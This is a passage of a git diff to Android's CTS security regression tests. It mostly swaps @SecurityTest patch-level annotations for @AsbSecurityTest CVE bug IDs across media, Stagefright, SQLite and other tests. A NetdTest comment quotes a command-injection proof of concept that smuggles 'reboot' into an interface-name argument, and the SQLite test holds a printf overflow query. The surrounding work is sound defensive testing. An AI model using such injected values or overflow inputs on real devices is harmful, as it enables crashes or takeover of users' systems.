     //Testing security bug: 32436341
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32436341)
     public void testEqualizer_getParamCenterFreq() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -58,7 +57,7 @@
     }
 
     //Testing security bug: 32588352
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32588352)
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -67,7 +66,7 @@
     }
 
     //Testing security bug: 32438598
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32438598)
     public void testEqualizer_getParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -76,7 +75,7 @@
     }
 
     //Testing security bug: 32584034
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32584034)
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -85,7 +84,7 @@
     }
 
     //Testing security bug: 32247948
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32247948)
     public void testEqualizer_getParamFreqRange() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -95,7 +94,7 @@
     }
 
     //Testing security bug: 32588756
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32588756)
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -105,7 +104,7 @@
     }
 
     //Testing security bug: 32448258
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32448258)
     public void testEqualizer_getParamPresetName() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -114,7 +113,7 @@
     }
 
     //Testing security bug: 32588016
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32588016)
     public void testEqualizer_getParamPresetName_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -155,7 +154,7 @@
     }
 
     //testing security bug: 32095626
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32095626)
     public void testEqualizer_setParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -171,7 +170,7 @@
     }
 
     //testing security bug: 32585400
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32585400)
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -187,7 +186,7 @@
     }
 
     //testing security bug: 32705438
-    @SecurityTest(minPatchLevel = "2017-02")
+    @AsbSecurityTest(cveBugId = 32705438)
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -197,7 +196,7 @@
     }
 
     //testing security bug: 32703959
-    @SecurityTest(minPatchLevel = "2017-02")
+    @AsbSecurityTest(cveBugId = 32703959)
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -207,7 +206,7 @@
     }
 
     //testing security bug: 37563371 (short media)
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 37563371)
     public void testEqualizer_setParamProperties_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -217,7 +216,7 @@
     }
 
     //testing security bug: 37563371 (long media)
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 37563371)
     public void testEqualizer_setParamProperties_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -227,7 +226,7 @@
     }
 
     //Testing security bug: 63662938
-    @SecurityTest(minPatchLevel = "2017-10")
+    @AsbSecurityTest(cveBugId = 63662938)
     public void testDownmix_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,7 +242,7 @@
     private static final int DOWNMIX_PARAM_TYPE = 0;
 
     //Testing security bug: 63526567
-    @SecurityTest(minPatchLevel = "2017-10")
+    @AsbSecurityTest(cveBugId = 63526567)
     public void testEnvironmentalReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,7 +262,7 @@
     }
 
     //Testing security bug: 67647856
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 67647856)
     public void testPresetReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index f2a3ad8..79a5e70 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -23,7 +23,6 @@
 import android.content.pm.PackageManager;
 import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -37,7 +36,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-@SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class EncryptionTest {
     static {
diff --git a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
index bd08ec7..f011f50 100644
--- a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
@@ -24,7 +24,6 @@
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RestrictedBuildTest;
-import android.platform.test.annotations.SecurityTest;
 import android.security.FileIntegrityManager;
 
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -47,7 +46,6 @@
 
 
 @AppModeFull
-@SecurityTest
 @RunWith(AndroidJUnit4.class)
 public class FileIntegrityManagerTest {
 
diff --git a/tests/tests/security/src/android/security/cts/HwRngTest.java b/tests/tests/security/src/android/security/cts/HwRngTest.java
index 175b305..b6469d4 100644
--- a/tests/tests/security/src/android/security/cts/HwRngTest.java
+++ b/tests/tests/security/src/android/security/cts/HwRngTest.java
@@ -17,7 +17,6 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
@@ -38,7 +37,6 @@
 /**
  * Tests for hardware random number generator device {@code /dev/hw_random}.
  */
-@SecurityTest
 public class HwRngTest extends CtsAndroidTestCase {
 
     // The block of constants below is from hw_random framework documentation and source code:
diff --git a/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java b/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java
index 1925781..00f4762 100644
--- a/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java
+++ b/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java
@@ -16,7 +16,6 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
 
 import android.content.Context;
 import android.content.Intent;
@@ -28,7 +27,6 @@
  * Make sure the DebugIntentSender activity, which allows privilege escalation of intent caller
  * to system uid, has been removed from the system.
  */
-@SecurityTest
 public class IntentSenderRemovalTest extends AndroidTestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 2be37bb..60b329f 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -22,7 +22,7 @@
 import android.os.IBinder;
 import android.os.Process;
 import android.os.RemoteException;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.IIsolatedService;
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
@@ -74,7 +74,7 @@
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 30202228)
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
         for (String serviceName : cachedServices) {
@@ -83,7 +83,7 @@
         }
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 30202228)
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
             IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/IsolatedService.java b/tests/tests/security/src/android/security/cts/IsolatedService.java
index 0245105..094f689 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedService.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedService.java
@@ -20,7 +20,6 @@
 import android.content.Intent;
 import android.os.IBinder;
 import android.os.Process;
-import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -28,7 +27,6 @@
 import java.util.HashMap;
 import java.util.Map;
 
-@SecurityTest
 public class IsolatedService extends Service {
 
     private static final String TAG = IsolatedService.class.getSimpleName();
diff --git a/tests/tests/security/src/android/security/cts/LinuxRngTest.java b/tests/tests/security/src/android/security/cts/LinuxRngTest.java
index 9289e5a..e8712ce 100644
--- a/tests/tests/security/src/android/security/cts/LinuxRngTest.java
+++ b/tests/tests/security/src/android/security/cts/LinuxRngTest.java
@@ -16,13 +16,11 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
 
 import junit.framework.TestCase;
 
 import java.io.IOException;
 
-@SecurityTest
 public class LinuxRngTest extends TestCase {
     static {
         System.loadLibrary("ctssecurity_jni");
diff --git a/tests/tests/security/src/android/security/cts/MMapExecutableTest.java b/tests/tests/security/src/android/security/cts/MMapExecutableTest.java
index 6ba1120..bc2e115 100644
--- a/tests/tests/security/src/android/security/cts/MMapExecutableTest.java
+++ b/tests/tests/security/src/android/security/cts/MMapExecutableTest.java
@@ -15,14 +15,12 @@
  */
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 /**
  * Verify that we can mmap executable code from an APK.
  * Prevent regression on: b/16727210 and b/16076402.
  */
-@SecurityTest
 public class MMapExecutableTest extends AndroidTestCase {
     public MMapExecutableTest() {}
 
diff --git a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
index dbe784a..ecf8acc 100644
--- a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
@@ -21,12 +21,11 @@
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
 import android.media.MediaMetadataRetriever;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.IOException;
 
-@SecurityTest
 public class MediaMetadataRetrieverTest extends AndroidTestCase {
     protected Resources mResources;
     protected MediaMetadataRetriever mRetriever;
@@ -54,6 +53,7 @@
         }
     }
 
+    @AsbSecurityTest(cveBugId = 24623447)
     public void testID3v2EmbeddedPicture() {
         setDataSourceFd(R.raw.id3v2_3_extended_header_overflow_padding);
 
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index af62105..b427516 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -16,20 +16,19 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.media.MediaRecorder;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import java.io.File;
 
-@SecurityTest
 public class MediaRecorderInfoLeakTest extends AndroidTestCase {
 
    /**
     *  b/27855172
     */
-    @SecurityTest(minPatchLevel = "2016-06")
+    @AsbSecurityTest(cveBugId = 27855172)
     public void test_cve_2016_2499() throws Exception {
         MediaRecorder mediaRecorder = null;
         long end = System.currentTimeMillis() + 600_000; // 10 minutes from now
diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
index 382a95f..2d2e084 100644
--- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
@@ -23,7 +23,7 @@
 import android.os.ConditionVariable;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -38,7 +38,6 @@
 
 import android.security.cts.R;
 
-@SecurityTest
 public class MediaServerCrashTest extends AndroidTestCase {
     private static final String TAG = "MediaServerCrashTest";
 
@@ -90,6 +89,7 @@
         new File(mFlFilePath).delete();
     }
 
+    @AsbSecurityTest(cveBugId = 25070434)
     public void testInvalidMidiNullPointerAccess() throws Exception {
         testIfMediaServerDied(R.raw.midi_crash);
     }
@@ -115,6 +115,7 @@
         }
     }
 
+    @AsbSecurityTest(cveBugId = 25070434)
     public void testDrmManagerClientReset() throws Exception {
         checkIfMediaServerDiedForDrm(R.raw.drm_uaf);
     }
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index efc050f..2ce1610 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -23,14 +23,13 @@
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-@SecurityTest
 public class Movie33897722 extends AndroidTestCase {
     /**
      * Verifies that decoding a particular GIF file does not read out out of bounds.
@@ -39,7 +38,7 @@
      * larger than 2. Ensure that we do not attempt to read colors from beyond the end of the
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 33897722)
     public void test_android_bug_33897722() {
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +46,7 @@
         test_movie(R.raw.bug_33897722, 600, 752, 10, 10);
     }
 
+    @AsbSecurityTest(cveBugId = 37662286)
     public void test_android_bug_37662286() {
         // The image has a background color that is out of range. Arbitrarily test
         // the upper left corner. (Most of the image is transparent.)
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index a324fd7..4f5754c 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -17,7 +17,7 @@
 package android.security.cts;
 
 import android.test.AndroidTestCase;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.InstrumentationRegistry;
 
 import android.content.pm.ActivityInfo;
@@ -53,7 +53,6 @@
 import static org.junit.Assert.assertTrue;
 
 @AppModeFull
-@SecurityTest
 public class NanoAppBundleTest extends AndroidTestCase {
 
     private static final String TAG = "NanoAppBundleTest";
@@ -93,7 +92,7 @@
     /**
      * b/113527124
      */
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 77599679)
     public void testPoc_cve_2018_9471() throws Exception {
 
         try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index bb77ca9..c5a9bac 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -16,18 +16,17 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import junit.framework.TestCase;
 
-@SecurityTest
 public class NativeCodeTest extends TestCase {
 
     static {
         System.loadLibrary("ctssecurity_jni");
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 22300191)
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 5ebd141..14623fd 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -18,7 +18,7 @@
 
 import android.os.Binder;
 import android.os.IBinder;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import junit.framework.TestCase;
 
@@ -26,7 +26,6 @@
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
-@SecurityTest
 public class NetdTest extends TestCase {
 
     /**
@@ -34,6 +33,7 @@
      * Based on jsharkey PoC in b/5758556
      *    serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
      */
+    @AsbSecurityTest(cveBugId = 5758556)
     public void testThrottleSanitization() {
         try {
 
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index d1b263f..f810817 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -19,7 +19,7 @@
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.params.OutputConfiguration;
 import android.os.Parcel;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Size;
 import android.view.Surface;
@@ -28,8 +28,8 @@
 /**
  * Verify that OutputConfiguration's fields propagate through parcel properly.
  */
-@SecurityTest
 public class OutputConfigurationTest extends AndroidTestCase {
+    @AsbSecurityTest(cveBugId = 69683251)
     public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
         SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
         Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index b87b36b..887538b 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -18,7 +18,7 @@
 
 import android.Manifest;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
@@ -36,7 +36,6 @@
 import java.util.concurrent.TimeUnit;
 
 @RunWith(JUnit4.class)
-@SecurityTest
 @AppModeFull
 public class PackageInstallerTest {
 
@@ -65,6 +64,7 @@
     }
 
     @Test
+    @AsbSecurityTest(cveBugId = 138650665)
     public void verificationCanNotBeDisabledByInstaller() throws Exception {
         Install.single(TEST_APP).addInstallFlags(
                 0x00080000 /* PackageManager.INSTALL_DISABLE_VERIFICATION */).commit();
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index cbed06d..4bfe8fe 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -22,7 +22,6 @@
 import android.content.pm.Signature;
 import android.content.res.Resources.NotFoundException;
 import android.platform.test.annotations.RestrictedBuildTest;
-import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -38,7 +37,6 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-@SecurityTest
 public class PackageSignatureTest extends AndroidTestCase {
 
     private static final String TAG = PackageSignatureTest.class.getSimpleName();
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index a024e50..5b4e530 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -17,7 +17,7 @@
 package android.security.cts;
 
 import android.test.AndroidTestCase;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
 import android.content.Context;
@@ -30,10 +30,9 @@
 import java.io.File;
 import java.lang.reflect.Field;
 
-@SecurityTest
 public class ParcelableExceptionTest extends AndroidTestCase {
 
-    @SecurityTest(minPatchLevel = "2017-12")
+    @AsbSecurityTest(cveBugId = 65281159)
     public void test_CVE_2017_0871() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
         File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 6f7e8da..2bf7a85 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -16,13 +16,12 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import java.lang.reflect.Method;
 
-@SecurityTest
 public class PutOverflowTest extends AndroidTestCase {
-    @SecurityTest(minPatchLevel = "2015-02")
+    @AsbSecurityTest(cveBugId = 22802399)
     public void testCrash() throws Exception {
         try {
             Class<?> keystoreClass = Class.forName("android.security.KeyStore");
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 65ce85f..8405acc 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -18,12 +18,11 @@
 
 import android.app.ActivityManager;
 import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.util.List;
 
-@SecurityTest
 public class RunningAppProcessInfoTest extends AndroidTestCase {
     /*
      * This test verifies severity vulnerability: apps can bypass the L restrictions in
@@ -31,6 +30,7 @@
      * the test if it is not able to get other process information.
      */
 
+    @AsbSecurityTest(cveBugId = 20034603)
     public void testRunningAppProcessInfo() {
         ActivityManager amActivityManager =
                 (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index 55e731d..a3a14d4 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -26,7 +26,7 @@
 import android.database.Cursor;
 import android.database.sqlite.SQLiteDatabase;
 import android.net.Uri;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.VoicemailContract;
 import android.test.AndroidTestCase;
 
@@ -35,7 +35,6 @@
 import java.io.File;
 import java.io.FileInputStream;
 
-@SecurityTest
 public class SQLiteTest extends AndroidTestCase {
     private static final String DATABASE_FILE_NAME = "database_test.db";
 
@@ -62,7 +61,7 @@
     /**
      * b/139186193
      */
-    @SecurityTest(minPatchLevel = "2019-11")
+    @AsbSecurityTest(cveBugId = 139186193)
     public void test_android_cve_2019_2195() {
         Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
         uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,7 +98,7 @@
     /**
      * b/153352319
      */
-    @SecurityTest(minPatchLevel = "2021-06")
+    @AsbSecurityTest(cveBugId = 153352319)
     public void test_android_float_to_text_conversion_overflow() {
         String create_cmd = "select (printf('%.2147483647G',0.01));";
         try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index e431a6c..7e6fb7c 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -17,12 +17,11 @@
 
 import android.content.ComponentName;
 import android.content.Intent;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
-@SecurityTest
 public class STKFrameworkTest extends AndroidTestCase {
     private boolean mHasTelephony;
 
@@ -42,6 +41,7 @@
      * Verifies commands Intercepting which has been sent from SIM card to Telephony using
      * zero-permission malicious application
      */
+    @AsbSecurityTest(cveBugId = 21697171)
     public void testInterceptedSIMCommandsToTelephony() {
         if (!mHasTelephony) {
             return;
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 16f01eb..4a9802f 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -18,28 +18,27 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
-@SecurityTest
 public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
 
-    @SecurityTest(minPatchLevel = "2018-05")
+    @AsbSecurityTest(cveBugId = 73782357)
     public void testAndroid_cve_2017_13318() {
         doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 17262540)
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
     }
 
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 17265466)
     public void test_android_bug_17265466() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
     }
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 8c086c4..4d40a23 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -42,7 +42,7 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.os.Parcel;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
@@ -144,206 +144,206 @@
      ***********************************************************/
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-04")
+    @AsbSecurityTest(cveBugId = 122472139)
     public void testStagefright_cve_2019_2244() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 36725407)
     public void testStagefright_bug_36725407() throws Exception {
         doStagefrightTest(R.raw.bug_36725407);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-08")
+    @AsbSecurityTest(cveBugId = 29023649)
     public void testStagefright_cve_2016_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3829, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 35645051)
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 37469795)
     public void testStagefright_cve_2017_0728() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0728, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-10")
+    @AsbSecurityTest(cveBugId = 62187433)
     public void testStagefright_bug_62187433() throws Exception {
         doStagefrightTest(R.raw.bug_62187433);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 62673844)
     public void testStagefrightANR_bug_62673844() throws Exception {
         doStagefrightTestANR(R.raw.bug_62673844);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 37079296)
     public void testStagefright_bug_37079296() throws Exception {
         doStagefrightTest(R.raw.bug_37079296);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 38342499)
     public void testStagefright_bug_38342499() throws Exception {
         doStagefrightTest(R.raw.bug_38342499);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 22771132)
     public void testStagefright_bug_22771132() throws Exception {
         doStagefrightTest(R.raw.bug_22771132);
